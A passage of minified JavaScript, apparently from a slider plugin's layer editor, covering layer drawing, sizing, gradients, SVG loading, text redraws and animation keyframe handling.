if("image"===a.type&&"custom"!==a.size.covermode){var m=RVS.F.getProportionalSizes({proportional:a.size.scaleProportional,type:a.size.covermode,image:{width:a.size.originalWidth,height:a.size.originalHeight},viewPort:{width:void 0!==V&&!1!==V&&void 0!==V.width?RVS.S.ulDIM.width:RVS.F.GW(RVS.screen),height:void 0!==V&&!1!==V&&void 0!==V.height?RVS.S.ulDIM.height:RVS.SLIDER.settings.size.height[RVS.screen]}});n.width=s.width=m.width,n.height=s.height=m.height}else if("video"===a.type&&"auto"===a.size.height[RVS.screen].v){var f=a.media.ratio.split(":");f=f[1]/f[0],n.height=s.height=i.w.width()*f}else"shape"===a.type?n.lineHeight=RVS.F.isVaOrPx(s.height)?parseInt(s.height,0)+"px":"auto":"svg"===a.type&&i.svg&&(tpGS.gsap.set(i.svg,!0!==a.idle.svg.originalColor?{width:"100%",height:"100%",fill:window.RSColor.get(a.idle.svg.color[RVS.screen].v),stroke:window.RSColor.get(a.idle.svg.strokeColor),"stroke-width":a.idle.svg.strokeWidth,"stroke-dasharray":RVS.F.getDashArray(a.idle.svg.strokeDashArray),"stroke-dashoffset":void 0===a.idle.svg.strokeDashOffset?0:a.idle.svg.strokeDashOffset}:{width:"100%",height:"100%",clearProps:"fill,stroke,stroke-width,stroke-dasharray,stroke-dashoffset"}),!0!==a.idle.svg.originalColor?tpGS.gsap.set(i.svgPath,{fill:window.RSColor.get(a.idle.svg.color[RVS.screen].v)}):tpGS.gsap.set(i.svgPath,{clearProps:"fill"}));if("slide"===a.behavior.baseAlign&&(i.w_width=n.width=!1!==V&&void 0!==V.width?V.width:n.width,i.w_height=n.height=!1!==V&&void 0!==V.height?V.height:n.height),!RVS.F.isNumeric(s.width)&&s.width.indexOf("%")>=0&&(s.width="100%"),!RVS.F.isNumeric(s.height)&&s.height.indexOf("%")>=0&&(s.height="100%"),"group"===a.type&&("100%"===s.height?tpGS.gsap.set([i.m,i.iw,i.lp],{height:"100%"}):(tpGS.gsap.set(i.iw,{height:"auto"}),tpGS.gsap.set([i.m,i.lp],{height:"100%"}))),n.onComplete=function(){RVS.DOC.trigger("layerDrawn",{layerid:e.uid})},"true"==a.hover.usehover||1==a.hover.usehover||"desktop"==a.hover.usehover){var g,h=void 0!==s.background&&"string"==typeof s.background&&-1!==s.background.search("gradient"),v=void 0!==o.background&&"string"==typeof o.background&&-1!==o.background.search("gradient");h&&v?(180!==RVS.F.gradDegree(s.background)&&180==RVS.F.gradDegree(o.background)&&(o.background=RVS.F.addGradDegree(o.background,180)),g=tpGS.getSSGColors(s.background,o.background,a.hover.gradientStyle),s.background=g.from,o.background=g.to):void 0!==s.background&&!h&&v?(g=tpGS.getSSGColors(s.background,o.background,a.hover.gradientStyle),s.background=g.from,o.background=g.to):h&&!v&&void 0!==o.backgroundColor&&(g=tpGS.getSSGColors(s.background,o.backgroundColor,a.hover.gradientStyle),s.background=g.from,o.background=g.to)}"column"===a.type&&(delete s.backgroundColor,delete s.background),s.immediateRender=!0,n.immediateRender=!0,tpGS.gsap.set(i.c,s),tpGS.gsap.set(i.w,n),RVS.F.updateSharpCorners({uid:e.uid,bgcolor:l}),i.htr=o,i.bg_htr={},requestAnimationFrame(function(){RVS.F.renderLayerAnimation({layerid:e.uid,quickRendering:e.ignoreLayerAnimation,timeline:"full",caller:"drawHTMLLayer"}),RVS.F.checkCurrentLayerHoverMode({layerid:e.uid}),(void 0===i.drawnonce&&"button"===a.type||"text"===a.type)&&(i.drawnonce=!0,RVS.F.updateHTMLLayerPosition({uid:e.uid,wtr:n}))}),RVS.S.shwLayerAnim&&jQuery.inArray(e.uid,RVS.selLayers)>=0&&RVS.F.playLayerAnimation({layerid:e.uid}),RVS.F.updateMinSliderHeights()?RVS.S.drawingHTMLLayers?RVS.S.updateMinSliderHeight_force=!0:RVS.DOC.trigger("updatesliderlayout","layer.js-586"):(e.wtr=n,"relative"==a.position.position&&void 0!==RVS.L[a.group.puid]&&"group"===RVS.L[a.group.puid].type&&(RVS.S.layerPosWaitingToUpdate[a.group.puid]=!0),RVS.F.updateHTMLLayerPosition(e),requestAnimationFrame(function(){RVS.F.updateWaitingHTMLLayerPosition(),requestAnimationFrame(function(){RVS.F.updateHTMLLayerPosition(e)})}))},RVS.F.updateWaitingHTMLLayerPosition=function(){for(var e in RVS.S.layerPosWaitingToUpdate)RVS.S.layerPosWaitingToUpdate.hasOwnProperty(e)&&(RVS.F.updateHTMLLayerPosition({uid:e}),delete RVS.S.layerPosWaitingToUpdate[e])},RVS.F.addGradDegree=function(e,t){var i=(e=e.split("("))[0];return e.shift(),i+"("+t+"deg, "+e.join("(")},RVS.F.gradDegree=function(e){if(-1!==e.search("deg,")){var t=e.split("deg,")[0];if(-1!==t.search(/\(/))return parseInt(t.split("(")[1],10)}return 180},RVS.F.smartConvertDivs=function(e){return"string"==typeof e&&"#"===e[0]?e[1]/e[3]*100+"%":e},RVS.F.updateSharpCorners=function(e){if("text"===RVS.L[e.uid].type||"button"===RVS.L[e.uid].type||"shape"===RVS.L[e.uid].type){var t=RVS.H[e.uid],i=RVS.L[e.uid];e.resize||(t.leftcorner&&t.leftcorner.remove(),t.rightcorner&&t.rightcorner.remove()),"none"!==i.idle.cornerLeft&&(e.resize&&void 0!==t.leftcorner||(t.leftcorner=jQuery("<"+i.idle.cornerLeft+"></"+i.idle.cornerLeft+">"),t.c.append(t.leftcorner)),t.leftcorner.css("borderWidth",t.c.outerHeight()+"px"),t.leftcorner.css("borderRight","0px solid transparent"),e.bgcolor&&t.leftcorner.css("border"+("rs-fcrt"===i.idle.cornerLeft?"Bottom":"Top")+"Color",e.bgcolor)),"none"!==i.idle.cornerRight&&(e.resize&&void 0!==t.rightcorner||(t.rightcorner=jQuery("<"+i.idle.cornerRight+"></"+i.idle.cornerRight+">"),t.c.append(t.rightcorner)),t.rightcorner.css("borderWidth",t.c.outerHeight()+"px"),t.rightcorner.css("borderLeft","0px solid transparent"),e.bgcolor&&t.rightcorner.css("border"+("rs-bcrt"===i.idle.cornerRight?"Top":"Bottom")+"Color",e.bgcolor))}},RVS.F.reOrderHTMLLayers=function(e){for(var t in RVS.C.layergrid.detach(),RVS.S.redrawHTMLLayersList=[],RVS.L)RVS.L.hasOwnProperty(t)&&(-1!==RVS.L[t].group.puid&&"row"!==RVS.L[t].type||"zone"===RVS.L[t].type||RVS.F.reOrderHTMLLayer({uid:t}));for(t in RVS.L)RVS.L.hasOwnProperty(t)&&("column"==RVS.L[t].type||"group"==RVS.L[t].type&&-1!=RVS.L[t].group.puid)&&RVS.F.reOrderHTMLLayer({uid:RVS.L[t].uid});for(t in RVS.L)RVS.L.hasOwnProperty(t)&&("column"===RVS.L[t].type||-1===RVS.L[t].group.puid||"group"===RVS.L[t].type&&-1!=RVS.L[t].group.puid||RVS.F.reOrderHTMLLayer({uid:RVS.L[t].uid}));for(t in RVS.C.layergrid.appendTo(RVS.C.slide),RVS.S.redrawHTMLLayersList)RVS.S.redrawHTMLLayersList.hasOwnProperty(t)&&RVS.F.drawHTMLLayer({uid:RVS.S.redrawHTMLLayersList[t]});RVS.F.checkRowsChildren()},RVS.F.drawHTMLLayers=function(){!0!==RVS.S.drawingHTMLLayers&&(RVS.S.drawingHTMLLayers=!0,requestAnimationFrame(function(){for(var e in void 0===RVS.S.ReadyToShowAll&&(RVS.S.ReadyToShowAll="wait"),RVS.S.drawHTMLLayersCalled=!0,RVS.L)RVS.L.hasOwnProperty(e)&&(-1!==RVS.L[e].group.puid&&"row"!==RVS.L[e].type||"zone"===RVS.L[e].type||RVS.F.drawHTMLLayer({uid:e}));for(e in RVS.L)RVS.L.hasOwnProperty(e)&&("column"==RVS.L[e].type||"group"==RVS.L[e].type&&-1!=RVS.L[e].group.puid)&&RVS.F.drawHTMLLayer({uid:RVS.L[e].uid});for(e in RVS.L)RVS.L.hasOwnProperty(e)&&("column"===RVS.L[e].type||"group"===RVS.L[e].type&&-1!=RVS.L[e].group.puid||-1===RVS.L[e].group.puid||RVS.F.drawHTMLLayer({uid:RVS.L[e].uid}));RVS.F.checkRowsChildren(),RVS.S.drawingHTMLLayers=!1,(RVS.S.updateMinSliderHeight_force||"wait"==RVS.S.ReadyToShowAll)&&RVS.F.updatesliderlayout(void 0),RVS.S.updateMinSliderHeight_force=!1}))},RVS.F.buildHTMLLayers=function(e){for(var t in e=void 0===e?{}:e,RVS.L)RVS.L.hasOwnProperty(t)&&(-1!==RVS.L[t].group.puid&&"row"!==RVS.L[t].type||"zone"===RVS.L[t].type||RVS.F.buildHTMLLayer({uid:t,ignoreDrawLayers:e.ignoreDrawLayers}));for(t in RVS.L)RVS.L.hasOwnProperty(t)&&("column"==RVS.L[t].type||"group"==RVS.L[t].type&&-1==RVS.L[t].group.puid)&&RVS.F.buildHTMLLayer({uid:RVS.L[t].uid,ignoreDrawLayers:e.ignoreDrawLayers});for(t in RVS.L)RVS.L.hasOwnProperty(t)&&"group"==RVS.L[t].type&&-1!==RVS.L[t].group.puid&&RVS.F.buildHTMLLayer({uid:RVS.L[t].uid,ignoreDrawLayers:e.ignoreDrawLayers});for(t in RVS.L)RVS.L.hasOwnProperty(t)&&("column"===RVS.L[t].type||"group"===RVS.L[t].type&&-1!=RVS.L[t].group.puid||-1===RVS.L[t].group.puid||RVS.F.buildHTMLLayer({uid:RVS.L[t].uid,ignoreDrawLayers:e.ignoreDrawLayers}));RVS.F.checkRowsChildren(),RVS.F.checkLockedLayers(),RVS.F.checkShowHideLayers(),"change"===window.firstLockTest&&(RVS.F.showInfo({content:RVS_LANG.somelayerslocked,type:"goodtoknow",showdelay:2,hidedelay:3,hideon:"",event:""}),window.firstLockTest=!0)},RVS.F.updateLayerInputFields=function(e){if(0===RVS.selLayers.length)return RVS.S.layerInputFieldsInitialised?void 0:(RVS.F.showWaitAMinute({fadeIn:0,text:RVS_LANG.updatingfields}),void setTimeout(function(){RVS.S.layerInputFieldsInitialised=!0,RVS.F.updateEasyInputs({container:jQuery(".layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),RVS.F.showWaitAMinute({fadeOut:2,text:RVS_LANG.updatingfields})},5));RVS.S.layerInputFieldsInitialised=!0,RVS.S.keyFrame="idle"===RVS.S.keyFrame?RVS.L[RVS.selLayers[0]].timeline.frameToIdle:RVS.S.keyFrame,void 0!==e&&!0===e.short?(RVS.F.updateEasyInputs({container:jQuery(".layertoolbar_wrap.layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),RVS.F.updateEasyInputs({container:jQuery(RVS.eMode.menu),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),window.requestAnimationFrame(function(){RVS.F.updateEasyInputs({container:jQuery(".layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),delete RVS.S.updateEsyInputsTimer})):RVS.F.updateEasyInputs({container:jQuery(".layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),RVS.F.updateCusCSSContent(),RVS.F.stopAllLayerAnimation(),RVS.F.checkAvailableFontWeights(),RVS.F.updateLayerBgImage(!1),RVS.F.updateLayerImageSrcThumb(),RVS.F.updateRowColumnField(),RVS.F.updateFrameRealSpeed(),RVS.DOC.trigger("updateKeyFramesList"),RVS.S.shwLayerAnim&&RVS.F.playLayerAnimation({layerid:RVS.selLayers[0]})},RVS.F.updateLayerBgImage=function(e){if(0!==RVS.selLayers.length){var t=RVS.L[RVS.selLayers[0]].idle.backgroundImage;""===(t=void 0===t||RVS.selLayers.length>1?"":t)&&!0!==RVS.L[RVS.selLayers[0]].idle.bgFromStream?jQuery("#layer_bg_adv_settings").hide():jQuery("#layer_bg_adv_settings").show(),tpGS.gsap.set("#layer_bg_image",{backgroundImage:'url("'+t+'")',"background-size":"percentage"===RVS.L[RVS.selLayers[0]].idle.backgroundSize?RVS.L[RVS.selLayers[0]].idle.backgroundSizePerc+"%":"pixel"===RVS.L[RVS.selLayers[0]].idle.backgroundSize?RVS.L[RVS.selLayers[0]].idle.backgroundSizePix+"px":RVS.L[RVS.selLayers[0]].idle.backgroundSize,backgroundPosition:RVS.L[RVS.selLayers[0]].idle.backgroundPosition}),RVS.F.drawHTMLLayer({uid:RVS.selLayers[0]}),!1!==e&&setTimeout(function(){RVS.F.updateEasyInputs({container:jQuery("#form_layerstyle_bg"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0})},100)}},RVS.F.updateLayerImageSrcThumb=function(){0!==RVS.selLayers.length&&(RVS.selLayers.length>1?tpGS.gsap.set("#layer_image_src",{backgroundImage:"none"}):"image"===RVS.L[RVS.selLayers[0]].type&&(RVS.L[RVS.selLayers[0]].media.imageUrl.indexOf("png")>=0&&RVS.L[RVS.selLayers[0]].media.imageUrl!==RVS.ENV.img_ph_url?document.getElementById("minilayerprevimage_wrap").className="miniprevimage_wrap withimage":RVS.L[RVS.selLayers[0]].media.imageUrl==RVS.ENV.img_ph_url&&(document.getElementById("minilayerprevimage_wrap").className="miniprevimage_wrap"),document.getElementById("layer_image_src").style.backgroundImage='url("'+RVS.L[RVS.selLayers[0]].media.imageUrl+'")'))},RVS.F.updateLayerImageSrc=function(e,t){if(null!=t&&void 0!==t.layerid){for(var i in RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&(RVS.L[RVS.selLayers[i]].size.originalSize=parseInt(RVS.L[RVS.selLayers[i]].size.width[RVS.screen].v,0)==parseInt(RVS.L[RVS.selLayers[i]].size.originalWidth,0));t.direction="width",t.dirB="height",t.src=null==t.src?RVS.L[t.layerid].media.imageUrl:t.src,t.src=null==t.src?RVS.L[t.layerid].media.posterUrl:t.src,t.id=void 0===t.id?RVS.L[t.layerid].media.imageId:t.id,t.id=void 0===t.id?RVS.L[t.layerid].media.posterId:t.id,RVS.F.preloadImage({uid:t.layerid,slideId:RVS.S.slideId,image:t.src,silent:!1,callback:function(){var e=!1;for(var i in RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&(t.uid=RVS.selLayers[i],t.ignore=RVS.L[RVS.selLayers[i]].size.originalSize,S(t),e=e||t.uid===t.layerid);e||(t.uid=t.layerid,S(t)),RVS.F.updateLayerImageSrcThumb()}}),setTimeout(function(){RVS.F.updateEasyInputs({container:jQuery("#form_layer_content"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0})},100)}},RVS.F.updateLayerSVGSrc=function(e){null!=e&&void 0!==e.uids&&void 0!==e.src&&0!==e.uids.length&&jQuery.get(e.src,function(t){for(var i in e.uids)if(e.uids.hasOwnProperty(i)){var a=e.uids[i],r=(new XMLSerializer).serializeToString(t.documentElement);RVS.H[a].c[0].innerHTML=r,RVS.H[a].svg=RVS.H[a].w.find("svg"),RVS.H[a].svgPath=RVS.H[a].w.find(RVS.L[a].idle.svg.styleAll?"svg path, svg circle, svg ellipse, svg line, svg polygon, svg polyline, svg rect":"svg path"),RVS.F.updateLayerObj({path:"svg.renderedData",val:r,ignoreBackup:!0}),RVS.F.drawHTMLLayer({uid:a})}})},RVS.F.resetVideoPlaceholder=function(e,t){if(void 0!==t&&void 0!==t.val)for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.selLayers[i];"video"===RVS.L[a].type&&(RVS.L[a].media.posterUrl===RVS.ENV.img_ph_url?RVS.H[a].c.addClass("placeholder_on"):RVS.H[a].c.removeClass("placeholder_on"))}},RVS.F.resyncVideoAspectRatio=function(){for(var e in RVS.F.openBackupGroup({id:"layerresize",txt:"Video Aspect Ratio",icon:"videocam"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(e)){var t=RVS.L[RVS.selLayers[e]];if("video"===t.type){var i=t.media.ratio.split(":"),a=RVS.S.slideId+".layers."+t.uid+".";i=i[0]/i[1],RVS.F.updateSliderObj({path:a+"size.aspectRatio.#size#.v",val:i}),c({ignore:!0,direction:"width",dirB:"height",v:RVS.L[t.uid].size.width[RVS.screen].v,l:RVS.L[t.uid],pre:a}),RVS.F.drawHTMLLayer({uid:t.uid})}}RVS.F.closeBackupGroup({id:"layerresize"}),RVS.F.updateLayerInputFields()},RVS.F.changeAudioLayerSize=function(e){for(var t in RVS.F.openBackupGroup({id:"layerresize",txt:"Audio Layer Controls",icon:"photo_size_select_large"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&(e.uid=RVS.selLayers[t],e.l=RVS.L[e.uid],e.pre=RVS.S.slideId+".layers."+e.uid+".",RVS.F.updateSliderObj({path:e.pre+"media.controls",val:!e.l.media.controls}),"audio"===e.l.type&&(e.l.media.controls?(RVS.F.updateSliderObj({path:e.pre+"size.width.#size#.v",val:350}),RVS.F.updateSliderObj({path:e.pre+"size.height.#size#.v",val:54})):(RVS.F.updateSliderObj({path:e.pre+"size.width.#size#.v",val:54}),RVS.F.updateSliderObj({path:e.pre+"size.height.#size#.v",val:54}))),RVS.F.drawHTMLLayer({uid:e.uid}));RVS.F.closeBackupGroup({id:"layerresize"}),RVS.F.updateLayerInputFields()},RVS.F.changeMediaControlsInteraction=function(e){for(var t in RVS.F.openBackupGroup({id:"mediacontrols",txt:"Media Layer Controls",icon:"photo_size_select_large"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&(e.uid=RVS.selLayers[t],e.l=RVS.L[e.uid],e.pre=RVS.S.slideId+".layers."+e.uid+".",RVS.F.updateSliderObj({path:e.pre+"media.nointeraction",val:!e.l.media.nointeraction}),RVS.F.updateSliderObj({path:e.pre+"media.controls",val:!1}),RVS.F.updateSliderObj({path:e.pre+"media.largeControls",val:!1}));RVS.F.closeBackupGroup({id:"mediacontrols"}),RVS.F.updateLayerInputFields()},RVS.F.changeLayerSizes=function(e){for(var t in RVS.F.openBackupGroup({id:"layerresize",txt:"Layer "+e.direction.toUpperCase(),icon:"photo_size_select_large"}),e.dirB="width"===e.direction?"height":"width",RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&(e.uid=RVS.selLayers[t],e.l=RVS.L[e.uid],e.pre=RVS.S.slideId+".layers."+e.uid+".","height"==e.direction&&(""+e.v).indexOf("%")>0&&void 0!==RVS.L[e.l.group.puid]&&"column"===RVS.L[e.l.group.puid].type&&("shape"===e.l.type|"button"===e.l.type||"text"==e.l.type)&&parseInt(e.v)>=99&&(e.v=e.v.replace("%","px")),e.l.size.scaleProportional?c(e):RVS.F.updateSliderObj({path:e.pre+"size."+e.direction+".#size#.v",val:e.v}),RVS.F.drawHTMLLayer({uid:e.uid}));RVS.F.closeBackupGroup({id:"layerresize"}),RVS.F.updateLayerInputFields()},RVS.F.lockUnlockLayerRatio=function(e){for(var t in RVS.F.openBackupGroup({id:"layerresize",txt:"Layer Aspect Ratio",icon:"photo_size_select_large"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(t)&&(e.uid=RVS.selLayers[t],e.l=RVS.L[e.uid],e.pre=RVS.S.slideId+".layers."+e.uid+".",e.direction="width",e.dirB="height",RVS.F.updateSliderObj({path:e.pre+"size.scaleProportional",val:e.val}),e.val))if("image"===e.l.type)e.v=e.l.size.width[RVS.screen].v,e.ignore=!0,c(e),RVS.F.drawHTMLLayer({uid:e.uid});else{var i=RVS.H[e.uid].w,a=i.width(),r=i.height();RVS.F.updateSliderObj({path:e.pre+"size.originalWidth",val:a}),RVS.F.updateSliderObj({path:e.pre+"size.originalHeight",val:r}),RVS.F.updateSliderObj({path:e.pre+"size.aspectRatio.#size#.v",val:a/r})}RVS.F.closeBackupGroup({id:"layerresize"}),RVS.F.updateLayerInputFields()},RVS.F.lockUnlockMarginPadding=function(e,t,i,a){for(var r in a=void 0===a?"idle":a,RVS.F.openBackupGroup({id:"lock"+t,txt:"Lock and reset "+t+"(s)",icon:"border_outer"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(r)){if(e.uid=RVS.selLayers[r],e.l=RVS.L[e.uid],e.pre=RVS.S.slideId+".layers."+e.uid+".",RVS.F.updateSliderObj({path:e.pre+a+"."+t+"Lock",val:e.val}),e.val){var s=void 0===e.l[a][t][RVS.screen]?void 0===e.l[a][t].v?e.l[a][t][0]:e.l[a][t].v[0]:e.l[a][t][RVS.screen].v[0];RVS.F.updateSliderObj({path:e.pre+a+"."+t+i+".1",val:s}),RVS.F.updateSliderObj({path:e.pre+a+"."+t+i+".2",val:s}),RVS.F.updateSliderObj({path:e.pre+a+"."+t+i+".3",val:s})}RVS.F.drawHTMLLayer({uid:e.uid})}RVS.F.closeBackupGroup({id:"lock"+t}),RVS.F.updateLayerInputFields()},RVS.F.updateMarginPaddingValues=function(e,t,i,a){for(var r in a=void 0===a?"idle":a,RVS.F.openBackupGroup({id:t+"Value",txt:"Layer "+t,icon:"border_outer"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(r)){var s=RVS.L[RVS.selLayers[r]],o=RVS.S.slideId+".layers."+RVS.selLayers[r]+".";if(s[a][t+"Lock"])for(var n=0;n<4;n++)RVS.F.updateSliderObj({path:o+a+"."+t+i+"."+n,val:e.val});else RVS.F.updateSliderObj({path:o+a+"."+t+i+"."+e.eventparam,val:e.val});RVS.F.drawHTMLLayer({uid:RVS.selLayers[r]})}RVS.F.closeBackupGroup({id:t+"Value"}),RVS.F.updateLayerInputFields()},RVS.F.replaceMetas=function(e){if(e.indexOf("{{")>=0)for(var t in RVS.LIB.META)if(RVS.LIB.META.hasOwnProperty(t)&&e.search(t)>=0){var i=new RegExp(t,"g");e=e.replace(i,RVS.LIB.META[t])}return e},RVS.F.redrawEditedTextLayerwhenPlaceholder=function(){void 0!==RVS.selLayers[0]&&void 0!==RVS.L[RVS.selLayers[0]]&&RVS.F.redrawTextLayerInnerHTML(RVS.selLayers[0],document.getElementById("ta_layertext").value!==RVS.S.inFocusValu)},RVS.F.redrawTextLayerInnerHTML=function(e,t,i){null!=e&&(void 0!==RVS.L[e]&&"text"===RVS.L[e].type||"button"===RVS.L[e].type)&&(t&&(void 0!==RVS.H[e].splitText&&RVS.H[e].splitText.revert(),RVS.H[e].splitText=void 0),null!=RVS.L[e].subtype&&null!=RVS.F["redrawTextLayerInnerHTML_"+RVS.L[e].subtype]&&1==RVS.F["redrawTextLayerInnerHTML_"+RVS.L[e].subtype](e)||(void 0!==RVS.L[e].placeholder&&RVS.L[e].placeholder.length>0&&" "!==RVS.L[e].placeholder?RVS.H[e].c[0].innerHTML=RVS.L[e].placeholder:RVS.H[e].c[0].innerHTML=!0!==i&&RVS.L[e].toggle.set&&""!==RVS.L[e].toggle.text&&RVS.C.toggledTextButton.className.indexOf("selected")>=0?jQuery.inArray(RVS.L[e].idle.whiteSpace[RVS.screen].v,["normal","nowrap"])>=0?RVS.F.replaceMetas(RVS.L[e].toggle.text):RVS.F.replaceMetas(RVS.L[e].toggle.text.replace(/\r\n|\r|\n/g,"<br />")):jQuery.inArray(RVS.L[e].idle.whiteSpace[RVS.screen].v,["normal","nowrap"])>=0?RVS.F.replaceMetas(RVS.L[e].text):RVS.F.replaceMetas(RVS.L[e].text.replace(/\r\n|\r|\n/g,"<br />"))),t&&(RVS.F.drawHTMLLayer({uid:e,ignoreLayerAnimation:!0}),void 0!==RVS.L[e].timeline.split&&RVS.F.updateLayerFrames({layerid:e})))},RVS.DOC.on("redrawSelectedLayersInnerHTML",function(){RVS.F.redrawTextLayerInnerHTML(RVS.selLayers[0],!0)}),RVS.F.changeLayerAnimation=function(e){e.fromLayerTransListe||(window.timelineTemporaryCached=!0,RVS.L[RVS.selLayers[0]].timelinecache=jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timeline)),R(RVS.LIB.LAYERANIMS[e.direction][e.group].transitions[e.transition],e.transition,e.group);var t="loop"===e.direction?"loop":"play_circle_filled",i="loop"===e.direction?RVS_LANG.backupTemplateLoop:RVS_LANG.backupTemplateLayerAnim,a="loop"===e.direction?"layerLoop":"layerFrames",r="loop"===e.direction?"loop":"frames";for(var s in e.ignoreBackupGroup||RVS.F.openBackupGroup({id:"changeFramesFromTemplate",txt:i,icon:t}),RVS.F.backup({path:r,layer:RVS.selLayers[0],slide:RVS.S.slideId,cache:void 0,icon:t,txt:i,lastkey:"timeline",force:!0,val:RVS.L[RVS.selLayers[0]].timeline[r],old:RVS.L[RVS.selLayers[0]].timelinecache[r],backupType:a,bckpGrType:"layerTemplateAnimation"}),RVS.JHOOKS.changeLayerAnimation)RVS.JHOOKS.changeLayerAnimation.hasOwnProperty(s)&&RVS.JHOOKS.changeLayerAnimation[s](e);e.ignoreBackupGroup||RVS.F.closeBackupGroup({id:"changeFramesFromTemplate"}),window.timelineTemporaryCached=!1,delete RVS.L[RVS.selLayers[0]].timelinecache,jQuery(".layer_transliste.open").removeClass("open"),RVS.F.renderLayerAnimation({layerid:RVS.selLayers[0]}),RVS.F.playLayerAnimation({layerid:RVS.selLayers[0]}),RVS.F.updateLayerInputFields(),RVS.S.shwLayerAnim?RVS.F.playLayerAnimation({layerid:RVS.selLayers[0]}):RVS.F.stopAllLayerAnimation()},RVS.F.updateLayerTimelineLoopLists=function(){var e="";for(var t in window.layerTimelineLoopFrom=null==window.layerTimelineLoopFrom?jQuery("#la_timeline_loop_from"):window.layerTimelineLoopFrom,window.layerTimelineLoopTo=null==window.layerTimelineLoopTo?jQuery("#la_timeline_loop_to"):window.layerTimelineLoopTo,RVS.L[RVS.selLayers[0]].timeline.frameOrder)RVS.L[RVS.selLayers[0]].timeline.frameOrder.hasOwnProperty(t)&&t>0&&"frame_999"!==RVS.L[RVS.selLayers[0]].timeline.frameOrder[t].id&&(e+='<option value="'+RVS.L[RVS.selLayers[0]].timeline.frameOrder[t].id+'">'+RVS.L[RVS.selLayers[0]].timeline.frames[RVS.L[RVS.selLayers[0]].timeline.frameOrder[t].id].alias+" (#"+t+")</option>");window.layerTimelineLoopFrom[0].innerHTML=window.layerTimelineLoopTo[0].innerHTML=e,window.layerTimelineLoopFrom.val(RVS.L[RVS.selLayers[0]].timeline.tloop.from).ddTP("change"),window.layerTimelineLoopTo.val(RVS.L[RVS.selLayers[0]].timeline.tloop.to).ddTP("change")},RVS.F.updateCoveredLayer=function(e){return"cover-proportional"===RVS.L[e].size.covermode||"cover"===RVS.L[e].size.covermode?{width:RVS.S.ulDIM.width,height:RVS.S.ulDIM.height}:"fullwidth"===RVS.L[e].size.covermode?{width:RVS.S.ulDIM.width}:"fullheight"===RVS.L[e].size.covermode&&{height:RVS.S.ulDIM.height}},RVS.F.updateCoveredLayers=function(e){window.requestAnimationFrame(function(){for(var t in RVS.L)if(RVS.L.hasOwnProperty(t)&&void 0!==RVS.H[t]&&void 0!==RVS.L[t].behavior&&"slide"===RVS.L[t].behavior.baseAlign){var i=RVS.F.updateCoveredLayer(t);if(void 0!==i&&e)RVS.F.drawHTMLLayer({uid:t}),RVS.F.updateHTMLLayerPosition({uid:t});else if((!1!==i&&void 0!==i.width||void 0!==i.height)&&tpGS.gsap.set(RVS.H[t].w,i),RVS.H[t].w_width=void 0!==i.width?i.width:RVS.H[t].w_width,RVS.H[t].w_height=void 0!==i.height?i.height:RVS.H[t].w_height,"image"===RVS.L[t].type&&"custom"!==RVS.L[t].size.covermode){var a=RVS.F.getProportionalSizes({proportional:RVS.L[t].size.scaleProportional,type:RVS.L[t].size.covermode,image:{width:RVS.L[t].size.originalWidth,height:RVS.L[t].size.originalHeight},viewPort:{width:!1!==i&&void 0!==i.width?RVS.S.ulDIM.width:RVS.F.GW(RVS.screen),height:!1!==i&&void 0!==i.height?RVS.S.ulDIM.height:RVS.SLIDER.settings.size.height[RVS.screen]}});RVS.H[t].c[0].style.width=a.width+"px",RVS.H[t].c[0].style.height=a.height+"px"}}})},RVS.F.updateLayerPositionClass=function(e,t){null!=e&&null!=RVS.H[e]&&null!=RVS.H[e].w&&(RVS.H[e].w[0].classList.remove("_lc_i_abs"),RVS.H[e].w[0].classList.remove("_lc_i_rel"),-1==RVS.L[e].group.puid&&RVS.L[e].position.position,t&&(RVS.L[e].position.ingrouppositoin=RVS.L[e].position.position),void 0===RVS.L[RVS.L[e].group.puid]||"group"!==RVS.L[RVS.L[e].group.puid].type&&"column"!==RVS.L[RVS.L[e].group.puid].type||RVS.H[e].w[0].classList.add("relative"==RVS.L[e].position.position?"_lc_i_rel":"_lc_i_abs"))},RVS.F.setKeyframeSelected=function(e){RVS.S.keyFrame=e,p(),RVS.F.updateLayerInputFields(),RVS.TL.cache.main="frame_0"===RVS.S.keyFrame?RVS.F.getTimeAtSelectedFrameStart("frame_1")/100:"frame_999"===RVS.S.keyFrame?RVS.F.getTimeAtSelectedFrameMiddle("frame_999")/100:(RVS.F.getTimeAtSelectedFrameEnd()-2)/100,RVS.TL.cache.main=RVS.TL.cache.main<.01?.01:RVS.TL.cache.main,RVS.F.updateTimeLine({force:!0,state:"time",time:RVS.TL.cache.main,timeline:"main",forceFullLayerRender:!0,updateCurTime:!0})},RVS.F.updateKeyframeSelected=function(e){RVS.TL.cache.main="frame_0"===RVS.S.keyFrame?RVS.F.getTimeAtSelectedFrameStart("frame_1")/100:"frame_999"===RVS.S.keyFrame?RVS.F.getTimeAtSelectedFrameMiddle("frame_999")/100:(RVS.F.getTimeAtSelectedFrameEnd()-2)/100,RVS.TL.cache.main=RVS.TL.cache.main<.01?.01:RVS.TL.cache.main,RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:100*RVS.TL.cache.main,refreshMainTimeLine:!1,caller:"updateKeyframeSelected"})},RVS.F.migrateCustomAnimation=function(e){for(var t in e)if(e.hasOwnProperty(t))if("in"===e[t].settings||"out"===e[t].settings)RVS.LIB.LAYERANIMS[e[t].settings].custom.transitions[e[t].id]=e[t].params;else if(void 0!==e[t].params&&("customin"===e[t].params.type||"customout"===e[t].params.type)){var 